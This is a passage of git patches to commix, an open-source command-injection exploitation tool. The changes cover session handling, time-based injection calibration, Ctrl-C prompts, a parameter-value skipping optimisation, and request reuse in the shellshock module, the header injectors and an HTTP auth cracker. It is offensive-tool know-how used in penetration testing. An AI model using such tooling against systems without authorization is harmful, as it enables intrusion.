os.path.isdir(directory): warn_msg = "Skipping purging of directory '" + directory + "', as it does not exist." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index f382b12557..0196bb9071 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -29,7 +29,7 @@ from src.thirdparty.colorama import Fore, Back, Style, init """ -Open the session DB and always close it; retry transient open failures. +Open the session DB and always close it; retry after recreating a deleted directory. """ @contextlib.contextmanager def _session_connection(): @@ -37,6 +37,9 @@ def _session_connection(): last_err = None for attempt in range(5): try: + session_dir = os.path.dirname(settings.SESSION_FILE) + if session_dir and not os.path.isdir(session_dir): + os.makedirs(session_dir, exist_ok=True) conn = sqlite3.connect(settings.SESSION_FILE, timeout=10) break except sqlite3.OperationalError as err: @@ -297,6 +300,42 @@ def applied_levels(url, http_request_method): return level +""" +Where the session file for this URL would live - settings.SESSION_FILE isn't set this early. +""" +def compute_expected_session_file(url): + if menu.options.session_file: + return menu.options.session_file + output_dir = menu.options.output_dir or settings.OUTPUT_DIR + host = _urllib.parse.urlparse(url).netloc.replace(":", "_") + return os.path.join(output_dir, host, "session.db") + +""" +Cheap, coarse (no parameter match yet) check for any stored injection point for this (host, method). +""" +def has_any_stored_technique(url, http_request_method): + if menu.options.ignore_session or menu.options.flush_session: + return False + session_file = compute_expected_session_file(url) + if not os.path.isfile(session_file): + return False + try: + conn = sqlite3.connect(session_file, timeout=5) + try: + table = table_name(url) + "_ip" + cursor = conn.cursor() + cursor.execute("SELECT name FROM sqlite_master WHERE name = ? AND type = 'table';", (table,)) + if not cursor.fetchall(): + return False + like_url = "%" + escape_like(split_url(url)) + "%" + query = "SELECT technique FROM \"" + table + "\" WHERE url LIKE ? ESCAPE '\\' AND http_request_method = ?;" + cursor.execute(query, (like_url, http_request_method)) + return any(not menu.options.tech or technique_letter(row[0]) in menu.options.tech for row in cursor.fetchall()) + finally: + conn.close() + except (sqlite3.OperationalError, sqlite3.DatabaseError): + return False + """ Find a stored injection point matching the URL, parameter, and HTTP method, then restore its settings. """ diff --git a/src/utils/settings.py b/src/utils/settings.py index 936700c03d..891d676075 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -296,7 +296,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "78" +REVISION = "79" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -539,7 +539,12 @@ class OS(object): # Slow target response. SLOW_TARGET_RESPONSE = 3 -# Measure the target's baseline latency once to floor the initial --time-sec value. +# Number of samples estimate_response_time() takes the median of, before gating the "slow target" decision. +RESPONSE_TIME_SAMPLES = 3 + +# Pre-injection baseline (estimate_response_time()) - the target's own +# round-trip time before any delay logic runs. Floors the initial --time-sec +# calibration so a target this slow doesn't get a delay smaller than its own latency. URL_TIME_RESPONSE = 0 # Cache url_response()'s connection-test timing for reuse by estimate_response_time(). @@ -640,7 +645,7 @@ class OS(object): # Seconds to delay the OS response. TIMESEC = 0 -# Minimum safe delay for time-related techniques. +# Minimum safe delay. MIN_SAFE_TIMESEC = 1 # Higher minimum delay applied once this run has confirmed the target is unstable. @@ -816,6 +821,10 @@ class NextParameterException(Exception): class NextTargetException(Exception): pass +# Raised after a verbosity change mid-detection, to redo the current technique from the top. +class RetryTechniqueException(Exception): + pass + # Default Scheme SCHEME = "" @@ -1141,6 +1150,8 @@ class NextTargetException(Exception): # Session Handler SESSION_FILE = "" LOAD_SESSION = None +# Whether a stored technique likely exists for the current target (host + method). +LIKELY_RESUME = False # Cache stored techniques per parameter to avoid repeated session database queries. STORED_TECHNIQUES = {} @@ -1352,10 +1363,12 @@ class END_LINE: # One escalate/shrink step, in seconds - separate from the floor above. TIME_DELAY_STEP = 1 -MIN_TIME_RESPONSES = 50 +# Target size of the upfront baseline warm-up - the adaptive threshold itself doesn't wait for this many samples to activate. +MIN_TIME_RESPONSES = 30 MAX_TIME_RESPONSES = 200 RESPONSE_TIMES = [] LAGGING_CHECKED = False +LAGGING_DETECTED = False TIME_DELAY_CANDIDATES = 3 # Best known timesec for this target, reused across commands to avoid recalibration. @@ -1369,6 +1382,9 @@ class END_LINE: NARROWING_MIN_OBSERVED = 3 NARROWING_MAX_SET_SIZE = 64 +# Probe the most-frequent characters first to speed up extraction for skewed distributions. +FREQUENCY_PROBE_TOP_K = 3 + # Prevent auto-shrink from undoing a delay increase after validation. ADJUST_TIME_DELAY_DISABLED = False @@ -1386,7 +1402,7 @@ class END_LINE: SKIP_NEXT_TECHNIQUE_TITLE = None # Retries for the false-positive/unexploitable-point re-verification during detection. -FALSE_POSITIVE_RETRIES = 5 +FALSE_POSITIVE_RETRIES = 3 # Prefix marking an interrupted command result for resumption instead of replay. PARTIAL_VALUE_MARKER = "\x02COMMIX_PARTIAL\x02" diff --git a/src/utils/update.py b/src/utils/update.py index b1b479cad4..6f020df68d 100755 --- a/src/utils/update.py +++ b/src/utils/update.py @@ -126,7 +126,7 @@ def check_for_update(): ((int(settings.VERSION_NUM.replace(".", "")[:2]) == int(update_version.replace(".", "")[:2])) and \ int(settings.VERSION_NUM.replace(".", "")[2:]) < int(update_version.replace(".", "")[2:])): while True: - message = "Do you want to update to the latest version now? [Y/n] > " + message = "Do you want to update to the latest version now? [Y/n] " do_update = common.read_input(message, default="Y", check_batch=True) if do_update in settings.CHOICE_YES: updater() @@ -217,7 +217,7 @@ def check_unicorn_version(current_version): action = "install" else: action = "update to" - message = "Do you want to " + action + " the latest version now? [Y/n] > " + message = "Do you want to " + action + " the latest version now? [Y/n] " do_update = common.read_input(message, default="Y", check_batch=True) if do_update in settings.CHOICE_YES: unicorn_updater(current_version) From 20600e0f2fe7627de81a3d79b25c981125e3d573 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Thu, 20 Aug 2026 08:13:41 +0300 Subject: [PATCH 0736/1023] Optimized parameter detection by skipping unnecessary value retrieval during testing --- doc/CHANGELOG.md | 4 +- src/core/injections/controller/checks.py | 74 +++++++++------- src/core/injections/controller/controller.py | 90 +++++++++++++++++++- src/core/injections/controller/handler.py | 90 +++++++++++++------- src/core/injections/controller/injector.py | 5 +- src/core/main.py | 3 +- src/core/modules/shellshock/shellshock.py | 30 ++++--- src/core/requests/authentication.py | 22 +++-- src/core/requests/redirection.py | 12 +-- src/core/requests/requests.py | 78 ++++++++++------- src/utils/session_handler.py | 20 +++-- src/utils/settings.py | 7 +- 12 files changed, 295 insertions(+), 140 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 4068a9baaf..3035d3ff77 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,8 +1,8 @@ ## Version 4.2 (TBA) -* Added: Faster detection when a parameter's real value isn't required for testing. +* Revised: Optimized parameter detection by skipping unnecessary value retrieval during testing. * Revised: Improved data extraction performance for time-related techniques. * Fixed: Resumed stored techniques are trusted immediately, without a redundant live re-check. -Revised: Improved switch `--purge` only to clear the current target's session. +* Revised: Improved switch `--purge` only to clear the current target's session. * Revised: Improved WAF/IPS detection coverage, now cached per target across resumed scans. * Added: Interactive Ctrl-C handling during detection and exploitation, with cleaner exit handling. * Fixed: Multiple bug-fixes improving detection accuracy and reliability for results-based techniques. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index b85a0b65c8..5d40522b44 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -152,12 +152,14 @@ def payload_fixation(payload): def get_response(output): request = _urllib.request.Request(output) headers.do_check(request) - headers.check_http_traffic(request) - # Check if defined any HTTP Proxy (--proxy option). - if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: - response = proxy.use_proxy(request) - else: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + # Reuse check_http_traffic()'s result instead of sending the request again. + response = headers.check_http_traffic(request) + if response is None: + # Check if defined any HTTP Proxy (--proxy option). + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: + response = proxy.use_proxy(request) + else: + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) return response """ @@ -440,8 +442,6 @@ def change_verbosity(): """ def handle_detection_interrupt(filename, url): settings.clear_current_line() - warn_msg = "User aborted during the detection phase (Ctrl-C pressed)." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) if settings.MULTI_TARGETS: msg = "How do you want to proceed? [ne(X)t target/(S)kip current technique/(e)nd detection phase/(n)ext parameter/(v)erbosity/(q)uit] " default = "X" @@ -450,12 +450,18 @@ def handle_detection_interrupt(filename, url): msg = "How do you want to proceed? [(S)kip current technique/(e)nd detection phase/(n)ext parameter/(v)erbosity/(q)uit] " default = "S" valid_choices = ("s", "e", "n", "v", "q") - while True: - # Ctrl-C is itself an explicit request for attention - always prompt, even under --batch. - choice = (common.read_input(msg, default=default, check_batch=False) or default).strip().lower() - if choice in valid_choices: - break - common.invalid_option(choice) + choice = "q" + try: + while True: + # Ctrl-C is itself an explicit request for attention - always prompt, even under --batch. + choice = (common.read_input(msg, default=default, check_batch=False) or default).strip().lower() + if choice in valid_choices: + break + common.invalid_option(choice) + except KeyboardInterrupt: + # A second Ctrl-C here means "quit now" - don't let it escape and re-trigger this same prompt one level up. + settings.print_data_to_stdout(settings.END_LINE.CR) + choice = "q" if choice == "v": # No further prompting - changing verbosity redoes the current technique from the top, not skip past it. change_verbosity() @@ -480,15 +486,19 @@ def handle_early_interrupt(filename, url): if not settings.MULTI_TARGETS: user_aborted(filename, url) settings.clear_current_line() - warn_msg = "User aborted during the detection phase (Ctrl-C pressed)." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) msg = "How do you want to proceed? [ne(X)t target/(v)erbosity/(q)uit] " - while True: - # Ctrl-C is itself an explicit request for attention - always prompt, even under --batch. - choice = (common.read_input(msg, default="X", check_batch=False) or "X").strip().lower() - if choice in ("x", "v", "q"): - break - common.invalid_option(choice) + choice = "q" + try: + while True: + # Ctrl-C is itself an explicit request for attention - always prompt, even under --batch. + choice = (common.read_input(msg, default="X", check_batch=False) or "X").strip().lower() + if choice in ("x", "v", "q"): + break + common.invalid_option(choice) + except KeyboardInterrupt: + # A second Ctrl-C here means "quit now" - don't let it escape and re-trigger this same prompt one level up. + settings.print_data_to_stdout(settings.END_LINE.CR) + choice = "q" if choice == "v": # No further prompting - changing verbosity just continues (next target). change_verbosity() @@ -502,16 +512,20 @@ def handle_early_interrupt(filename, url): """ def handle_exploitation_interrupt(filename, url): settings.clear_current_line() - warn_msg = "User aborted during the exploitation phase (Ctrl-C pressed)." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) # "v" here, not "c" - "C" is already taken by "Continue" in this menu. msg = "How do you want to proceed? [(C)ontinue/(v)erbosity/(q)uit] " - while True: - # Ctrl-C is itself an explicit request for attention - always prompt, even under --batch. - choice = (common.read_input(msg, default="C", check_batch=False) or "C").strip().lower() - if choice in ("c", "v", "q"): - break - common.invalid_option(choice) + choice = "q" + try: + while True: + # Ctrl-C is itself an explicit request for attention - always prompt, even under --batch. + choice = (common.read_input(msg, default="C", check_batch=False) or "C").strip().lower() + if choice in ("c", "v", "q"): + break + common.invalid_option(choice) + except KeyboardInterrupt: + # A second Ctrl-C here means "quit now" - don't let it escape and re-trigger this same prompt one level up. + settings.print_data_to_stdout(settings.END_LINE.CR) + choice = "q" if choice == "v": # No further prompting - changing verbosity just continues. change_verbosity() diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index a834801907..9144cdf937 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -16,6 +16,9 @@ import re import os import sys +import time +import random +import string from src.utils import menu from src.utils import logs from src.utils import settings @@ -320,12 +323,81 @@ def check_parameter_in_http_header(check_parameter): init_http_header_injection_status() return inject_http_headers +""" +Replace the parameter value with a disposable placeholder if the response stays the same but gets faster. +""" +def attempt_skip_testable_value(url, http_request_method, check_parameter): + if settings.LOAD_SESSION or not settings.TESTABLE_VALUE: + return url + if any((settings.COOKIE_INJECTION, settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, + settings.HOST_INJECTION, settings.CUSTOM_HEADER_INJECTION)): + return url + + marker = settings.TESTABLE_VALUE + settings.INJECT_TAG + in_data = bool(menu.options.data) and marker in menu.options.data + in_url = marker in url + if not in_data and not in_url: + return url + + param_label = ("POST" if in_data else "GET") + " parameter '" + check_parameter + "'" + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Testing if " + param_label + " requires its original value." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + + def build(value): + if in_data: + data = menu.options.data.replace(marker, value) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) + else: + request = _urllib.request.Request(url.replace(marker, value), method=http_request_method) + headers.do_check(request) + return request + + placeholder = ''.join(random.choice(string.ascii_uppercase) for _ in range(3)) + try: + start = time.time() + real_response = _urllib.request.urlopen(build(settings.TESTABLE_VALUE), timeout=settings.TIMEOUT) + real_body = real_response.read() + real_status = real_response.getcode() + real_time = time.time() - start + + start = time.time() + placeholder_response = _urllib.request.urlopen(build(placeholder), timeout=settings.TIMEOUT) + placeholder_body = placeholder_response.read() + placeholder_status = placeholder_response.getcode() + placeholder_time = time.time() - start + except Exception: + return url + + same_status = real_status == placeholder_status + similar_size = abs(len(real_body) - len(placeholder_body)) <= max(50, len(real_body) * 0.2) + meaningfully_faster = placeholder_time < real_time * 0.7 and (real_time - placeholder_time) >= 0.5 + + if same_status and similar_size and meaningfully_faster: + if in_data: + menu.options.data = menu.options.data.replace(marker, placeholder + settings.INJECT_TAG) + else: + url = url.replace(marker, placeholder + settings.INJECT_TAG) + settings.TESTABLE_VALUE = placeholder + settings.TESTABLE_VALUE_OPTIMIZED = True + # Don't reset settings.RESPONSE_TIMES - MIN_SAFE_TIMESEC already floors timesec, and resetting forces a slow, silent re-warm-up. + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "The real parameter value isn't required. Skipping it for faster requests." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + elif settings.VERBOSITY_LEVEL != 0: + debug_msg = param_label + " appears to require its original value." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + + return url + """ Proceed to the injection process for the appropriate parameter. """ def injection_proccess(url, check_parameter, http_request_method, filename, timesec): settings.NOT_TESTABLE_PARAMETERS = False + url = attempt_skip_testable_value(url, http_request_method, check_parameter) + os_targets = ([settings.TARGET_OS] if settings.TARGET_OS else list(vars(settings.OS).values())[:settings.OS_CHECKS_NUM] if settings.CHECK_BOTH_OS else [settings.TARGET_OS or list(vars(settings.OS).values())[0]]) @@ -358,16 +430,28 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time the_type = " parameter" inject_parameter = " '" + check_parameter + "'" + # Nothing left to probe when all required time-related techniques were resumed. + time_techniques_resumed = False + if not menu.options.tech or "t" in menu.options.tech or "f" in menu.options.tech: + needed_time_techniques = set() + if not menu.options.tech or "t" in menu.options.tech: + needed_time_techniques.add(settings.INJECTION_TECHNIQUE.TIME_BASED) + if not menu.options.tech or "f" in menu.options.tech: + needed_time_techniques.add(settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED) + time_techniques_resumed = settings.LOAD_SESSION and needed_time_techniques.issubset(settings.STORED_TECHNIQUES.keys()) + # Defer response-time estimation until a time-related technique is about to run. url_time_response = 0 _time_warmup_done = False def _ensure_time_warmup(): nonlocal timesec, url_time_response, _time_warmup_done - if _time_warmup_done or settings.SKIP_COMMAND_INJECTIONS or settings.LOAD_SESSION: + if _time_warmup_done or settings.SKIP_COMMAND_INJECTIONS: return _time_warmup_done = True - timesec, url_time_response = requests.estimate_response_time(url, timesec, http_request_method) - if not menu.options.tech or "t" in menu.options.tech or "f" in menu.options.tech: + if time_techniques_resumed: + url_time_response = 0 + else: + timesec, url_time_response = requests.estimate_response_time(url, timesec, http_request_method) checks.warm_up_response_baseline(url, http_request_method) checks.check_lagging() diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py index 88994835b0..47a1827363 100755 --- a/src/core/injections/controller/handler.py +++ b/src/core/injections/controller/handler.py @@ -184,6 +184,58 @@ def pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, # Return False to stop searching after this combination was already reported. return True +""" +Retry value-skip using the confirmed exploit's own delay signal. +""" +def probe_skip_testable_value_post_detection(separator, timesec, http_request_method, url, vuln_parameter, whitespace, url_time_response, technique, prefix): + if settings.TESTABLE_VALUE_OPTIMIZED or not settings.TESTABLE_VALUE: + return url, prefix + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + from src.core.injections.blind.techniques.time_based import tb_payloads as probe_payloads + else: + from src.core.injections.semiblind.techniques.tempfile_based import tfb_payloads as probe_payloads + payload = probe_payloads.condition_check(separator, "1 -eq 1", timesec, http_request_method) + if payload is None: + return url, prefix + + marker = settings.TESTABLE_VALUE + settings.INJECT_TAG + in_data = bool(menu.options.data) and marker in menu.options.data + in_url = marker in url + if not in_data and not in_url: + return url, prefix + + from src.core.requests import stability + placeholder = ''.join(random.choice(string.ascii_uppercase) for _ in range(3)) + original_data = menu.options.data + original_url = url + original_value = settings.TESTABLE_VALUE + # settings.TESTABLE_VALUE and the raw data/url must change together, or the value gets duplicated. + if in_data: + menu.options.data = menu.options.data.replace(marker, placeholder + settings.INJECT_TAG) + else: + url = url.replace(marker, placeholder + settings.INJECT_TAG) + settings.TESTABLE_VALUE = placeholder + try: + # perform_injection() applies prefix/suffix itself - don't pre-apply them here. + before = settings.TOTAL_OF_REQUESTS + exec_time, _, _, _, _ = requests.perform_injection("", "", whitespace, payload, vuln_parameter, http_request_method, url) + succeeded = not stability.request_was_retried(before) and checks.time_related_shell(url_time_response, exec_time, timesec) + except Exception: + succeeded = False + + if not succeeded: + menu.options.data = original_data + settings.TESTABLE_VALUE = original_value + return original_url, prefix + + settings.TESTABLE_VALUE_OPTIMIZED = True + # Don't reset settings.RESPONSE_TIMES - MIN_SAFE_TIMESEC already floors timesec, and resetting forces a slow, silent re-warm-up. + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "The real parameter value isn't required. Skipping it for faster requests." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + # Reset the caller's own cached prefix - it still has the old value baked in. + return url, "" + """ The main Time-related exploitation proccess. """ @@ -264,38 +316,11 @@ def do_time_related_proccess(url, timesec, filename, http_request_method, url_ti cmd = shell = "" checks.check_for_stored_tamper(payload) - # Re-verify the resumed injection point still works, rather than trusting a - # possibly-stale session (target patched, WAF added, app restarted since). - randv1 = random.randrange(0, 4) - randv2 = random.randrange(1, 5) - randvcalc = randv1 + randv2 - if settings.TARGET_OS == settings.OS.WINDOWS: - if alter_shell: - verify_cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" - else: - verify_cmd = "powershell.exe -InputFormat none write (" + str(randvcalc) + ")" - else: - verify_cmd = "expr " + str(randv1) + " %2B " + str(randv2) - # Only tfb_injector's false_positive_check() takes OUTPUT_TEXTFILE. - verify_kwargs = dict( - separator=separator, TAG=TAG, cmd=verify_cmd, prefix=prefix, suffix=suffix, - whitespace=whitespace, timesec=timesec, http_request_method=http_request_method, - url=url, vuln_parameter=vuln_parameter, - randvcalc=randvcalc, alter_shell=alter_shell, exec_time=exec_time, - url_time_response=url_time_response, false_positive_warning=False, technique=technique) - if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: - verify_kwargs["OUTPUT_TEXTFILE"] = OUTPUT_TEXTFILE - # Re-verifying, not detecting - skip the "identified/testing" chatter. - verify_exec_time, verify_output = injector.false_positive_check(**verify_kwargs, silent=True) - - if checks.time_related_shell(url_time_response, verify_exec_time, timesec) and str(verify_output) == str(randvcalc): - settings.FOUND_EXEC_TIME = exec_time - settings.FOUND_DIFF = exec_time - timesec - possibly_vulnerable = True - resumed = True - else: - warn_msg = "The stored session for this technique no longer appears to be valid - re-detecting." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + # Trust the stored session outright. + settings.FOUND_EXEC_TIME = exec_time + settings.FOUND_DIFF = exec_time - timesec + possibly_vulnerable = True + resumed = True except TypeError: checks.error_loading_session_file() @@ -476,6 +501,7 @@ def do_time_related_proccess(url, timesec, filename, http_request_method, url_ti whitespace = settings.WHITESPACES[0] if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: OUTPUT_TEXTFILE = "" + url, prefix = probe_skip_testable_value_post_detection(separator, timesec, http_request_method, url, vuln_parameter, whitespace, url_time_response, technique, prefix) # Check for any enumeration options. enumeration.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) # Check for any system file access options. diff --git a/src/core/injections/controller/injector.py b/src/core/injections/controller/injector.py index 751588fc02..6c3edab346 100755 --- a/src/core/injections/controller/injector.py +++ b/src/core/injections/controller/injector.py @@ -146,14 +146,13 @@ def _check_lagging(): # Guard timesec so concurrent payloads use the same value for sending and validation. timesec_lock = threading.Lock() - # Shrink the delay on a clearly-good read, but never below the same safety floor the initial calibration used. + # Shrink the delay on a clearly-good read - no static floor, the stdev term self-protects jittery targets. delay_candidates = [0] * settings.TIME_DELAY_CANDIDATES - min_safe_timesec = checks.time_related_timesec() def _adjust_time_delay(exec_time, lower_limit): nonlocal timesec if settings.ADJUST_TIME_DELAY_DISABLED or settings.ADJUST_TIME_DELAY_CHOICE == False: return - candidate = max(settings.TIME_DELAY_STEP + int(round(lower_limit)), min_safe_timesec) + candidate = settings.TIME_DELAY_STEP + int(round(lower_limit)) with timesec_lock: delay_candidates.insert(0, candidate) del delay_candidates[settings.TIME_DELAY_CANDIDATES:] diff --git a/src/core/main.py b/src/core/main.py index 495faa4346..acc1205200 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -285,8 +285,7 @@ def url_response(url, http_request_method): # Piggyback the WAF probe on the same request to avoid an extra round-trip. conn_request, conn_url = request, url - # Skip the active WAF probe on a likely resume; '--ignore-session' forces it. - do_waf = not menu.options.skip_waf and not settings.LIKELY_RESUME + do_waf = not menu.options.skip_waf if do_waf: settings.COOKIE_INJECTION = None conn_request, conn_url = checks.check_waf(url, http_request_method) diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 896d6104a6..edf7805f7b 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -306,12 +306,15 @@ def shellshock_handler(url, http_request_method, filename): if check_header == settings.USER_AGENT: menu.options.agent = payload log_http_headers.do_check(request) - log_http_headers.check_http_traffic(request) - # Check if defined any HTTP Proxy. - if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: - response = proxy.use_proxy(request) - else: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + # check_http_traffic() already sends the request - reuse its result + # instead of sending the same request again. + response = log_http_headers.check_http_traffic(request) + if response is None: + # Check if defined any HTTP Proxy. + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: + response = proxy.use_proxy(request) + else: + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) if type(response) is bool: response_info = "" @@ -536,12 +539,15 @@ def check_for_shell(url, cmd, cve, check_header, filename): if check_header == settings.USER_AGENT: menu.options.agent = payload log_http_headers.do_check(request) - log_http_headers.check_http_traffic(request) - # Check if defined any HTTP Proxy. - if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: - response = proxy.use_proxy(request) - else: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + # check_http_traffic() already sends the request - reuse its result + # instead of sending the same request again. + response = log_http_headers.check_http_traffic(request) + if response is None: + # Check if defined any HTTP Proxy. + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: + response = proxy.use_proxy(request) + else: + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) if check_header == settings.USER_AGENT: menu.options.agent = default_user_agent shell = checks.process_page_content(response, action="decode").rstrip().replace(settings.END_LINE.LF,' ') diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index a1ba6a241c..db61bd3890 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -53,9 +53,11 @@ def authentication_process(http_request_method): request = _urllib.request.Request(auth_url, auth_data.encode(settings.DEFAULT_CODEC), method=http_request_method) # Check if defined extra headers. headers.do_check(request) - headers.check_http_traffic(request) - # Get the response of the request. - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + # check_http_traffic() already sends the request and returns the response - + # reuse it instead of sending the same request a second time. + response = headers.check_http_traffic(request) + if response is None: + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) # HTTPCookieProcessor only fills the jar after the response is received. cookies = "" for cookie in cj: @@ -143,11 +145,15 @@ def http_auth_cracker(url, realm, http_request_method): _urllib.request.install_opener(opener) request = _urllib.request.Request(url, method=http_request_method) headers.do_check(request) - headers.check_http_traffic(request) - # Check if defined any HTTP Proxy (--proxy option). - if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: - proxy.use_proxy(request) - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + # check_http_traffic() already sends the request - reuse its result + # instead of sending the same request again for every credential tried. + response = headers.check_http_traffic(request) + if response is None: + # Check if defined any HTTP Proxy (--proxy option). + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: + response = proxy.use_proxy(request) + else: + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) found = True except KeyboardInterrupt : raise diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index 045dac674b..9f6155da9a 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -24,12 +24,9 @@ from src.utils import menu from src.utils import settings from src.utils import common -from src.core.requests import requests -from socket import error as SocketError from src.core.injections.controller import checks from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.six.moves import http_client as _http_client from src.thirdparty.colorama import Fore, Back, Style, init class Request(_urllib.request.Request): @@ -64,14 +61,7 @@ def do_check(request, url, redirect_url, http_request_method): --- [1] https://gist.github.com/FiloSottile/2077115 """ - try: - opener = _urllib.request.build_opener(RedirectHandler()) - _urllib.request.install_opener(opener) - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.IncompleteRead, _http_client.InvalidURL) as err_msg: - if settings.CRAWLING: - requests.crawler_request(redirect_url, http_request_method) - + # settings.REDIRECT_CODE is already set by the caller's own request - no need to resend it here. try: if (not settings.REDIRECT_CODE) or (settings.CRAWLING and redirect_url in settings.HREF_SKIPPED): return redirect_url diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 1faf110e2b..dc77b90d11 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -118,11 +118,14 @@ def crawler_request(url, http_request_method): data = None request = _urllib.request.Request(url, data, method=http_request_method) headers.do_check(request) - headers.check_http_traffic(request) - if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: - response = proxy.use_proxy(request) - else: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + # check_http_traffic() already sends the request - reusing its result instead + # of discarding it and sending a second, identical one. + response = headers.check_http_traffic(request) + if response is None: + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: + response = proxy.use_proxy(request) + else: + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) if type(response) is not bool and settings.FOLLOW_REDIRECT and response is not None: if response.geturl() != url: href = redirection.do_check(request, url, response.geturl(), http_request_method) @@ -596,11 +599,14 @@ def inject_cookie(url, vuln_parameter, payload, http_request_method): cookie = checks.process_injectable_value(encoded_payload, menu.options.cookie) request.add_header(settings.COOKIE, cookie) try: - headers.check_http_traffic(request) - if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: - response = proxy.use_proxy(request) - else: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + # check_http_traffic() already sends the request - reuse its result + # instead of sending the same request again. + response = headers.check_http_traffic(request) + if response is None: + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: + response = proxy.use_proxy(request) + else: + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) return response except ValueError: pass @@ -639,11 +645,14 @@ def inject_user_agent(url, vuln_parameter, payload, http_request_method): payload = checks.normalize_newlines(payload) request.add_header(settings.USER_AGENT, payload) try: - headers.check_http_traffic(request) - if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: - response = proxy.use_proxy(request) - else: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + # check_http_traffic() already sends the request - reuse its result + # instead of sending the same request again. + response = headers.check_http_traffic(request) + if response is None: + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: + response = proxy.use_proxy(request) + else: + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) return response except ValueError: pass @@ -682,11 +691,14 @@ def inject_referer(url, vuln_parameter, payload, http_request_method): payload = checks.normalize_newlines(payload) request.add_header(settings.REFERER, payload) try: - headers.check_http_traffic(request) - if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: - response = proxy.use_proxy(request) - else: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + # check_http_traffic() already sends the request - reuse its result + # instead of sending the same request again. + response = headers.check_http_traffic(request) + if response is None: + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: + response = proxy.use_proxy(request) + else: + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) return response except ValueError: 